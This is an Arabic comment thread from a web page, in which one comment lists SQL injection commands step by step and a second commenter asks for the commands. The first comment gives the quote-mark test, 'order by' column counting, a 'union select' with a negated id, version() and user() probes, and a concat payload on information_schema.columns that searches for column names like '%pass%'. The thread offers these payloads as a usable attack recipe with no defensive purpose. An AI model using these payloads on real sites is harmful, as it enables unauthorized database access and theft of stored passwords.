تعليقان 2

1. 

   ESen ES بتاريخ يناير 8, 2021 - 1:40 م

                                                          اوامر حقن ثغرة                  
                                                                             ( SQL )
                                                      ==========================
   1-  امر معرفة الموقع مصاب ام لا ضع ( ط ) بالانجليزي يعني ( ' ) 

   2- امر معرفة عدد العواميد الموقع //order+by+1

   3- امر معرفة العامود المصاب // +Union+select+1,2,3 // ولا تنسى علامة  النقاص(-)
   قبل رقم الموقع 

   4- امر معرفة اصدار قاعدة البينات // Version()

   5- امر معرفة ايميل الادمن // User()

   6- كود استخراج اسم قاعدة البينات

   Code1 ويوضع مكان العامود المصاب

   concat(column_name,0x3e,table_schema,0x3e,table_name)

   Code2 ويوضع في نهاية الرابط 

   +from+information_schema.columns+where+column_name+like+char(37, 112, 97, 115, 115, 37)–

   الرد
2. 

   hama kramti بتاريخ يناير 8, 2021 - 1:40 م

   ممكن الأوامر

   الرد